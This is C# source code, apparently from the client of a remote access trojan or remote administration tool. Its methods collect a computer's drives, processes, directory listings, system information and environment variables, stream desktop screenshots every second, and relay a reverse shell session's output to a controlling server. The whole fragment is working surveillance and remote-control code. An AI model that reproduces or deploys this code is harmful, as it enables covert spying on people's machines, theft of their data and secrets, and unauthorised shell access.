public void OnRootsRequested() { // Send Roots List <DiskDriveInfo> diskDrives = FileSystemService.GetRoots(); NetClientService.SendFileSystemRoots(diskDrives); }
private void OnErrorAvailable(IAsyncResult ar) { lock (ar.AsyncState) { var processStream = ar.AsyncState as StreamReader; Debug.Assert(processStream != null, nameof(processStream) + " != null"); int numberOfBytesRead = processStream.BaseStream.EndRead(ar); if (numberOfBytesRead == 0) { OnPipeClosed(); return; } string output = Encoding.UTF8.GetString(BufferErr, 0, numberOfBytesRead); processStream.BaseStream.BeginRead(BufferErr, 0, BufferErr.Length, OnErrorAvailable, processStream); NetClientService.SendPacket(new PacketShell { Output = output }); } }
public void OnProcessListRequested() { Process[] processes = Process.GetProcesses(); List <NetLib.Models.ProcessInfo> processInfos = new List <NetLib.Models.ProcessInfo>(); foreach (Process process in processes) { string processName = process.ProcessName; int pid = process.Id; ProcessInfo processInfo = new ProcessInfo { ProcessName = processName, Pid = pid }; processInfos.Add(processInfo); try { processInfo.FilePath = process.MainModule.FileName; } catch (Win32Exception exception) { // Console.WriteLine(exception.ToString()); Console.WriteLine("Error with process {0} ({1})", processName, pid); } catch (InvalidOperationException exception) { Console.WriteLine("Error with process {0} ({1})", processName, pid); } } NetClientService.SendProcessList(processInfos); }
public void Start() { NetClientService = new NetClientService { Application = this }; NetClientService.Start(); }
public void StreamDesktop() { IsStreamingDesktop = true; while (IsStreamingDesktop) { byte[] imageData = Bitmap2ByteArray(CaptureScreenShot()); NetClientService.SendDesktopImage(imageData); Thread.Sleep(1000); } }
public void OnSystemInformationRequested() { string pcName = Environment.MachineName; string userName = Environment.UserName; string osVersion = Environment.OSVersion.ToString(); string dotNetVersion = Environment.Version.ToString(); // System.Environment.Version.ToString() IDictionary envVariables = Environment.GetEnvironmentVariables(); NetClientService.SendSystemInformation(new SystemInfo { PcName = pcName, UserName = userName, OperatingSystem = osVersion, DotNetVersion = dotNetVersion, EnvironmentVariables = envVariables }); }
public void OnListDirRequested(string path) { FileAttributes attributes = File.GetAttributes(path); string error; List <NetLib.Models.FileInfo> files = FileSystemService.GetDirectoryPaths(path, out error); if (error == null) { NetClientService.SendFileSystemEntries(path, files); } else { Console.WriteLine("Error Retrieving Directory entries {0}", error); } }
private void OnPipeClosed() { lock (this) { // This method will be called twice, once for the Output pipe being closed // The second when the Error pipe being closed, the first time we want to // set IsReverseShellSessionActive to false // The second we set also the IsProcessExiting to false // This is all done to make sure we only send one PacketShell with Stop to the server if (IsReverseShellSessionActive) { IsReverseShellSessionActive = false; IsProcessExiting = true; NetClientService.SendPacket(new PacketShell { Action = ServiceAction.Stop }); } else if (IsProcessExiting) { IsProcessExiting = false; } } }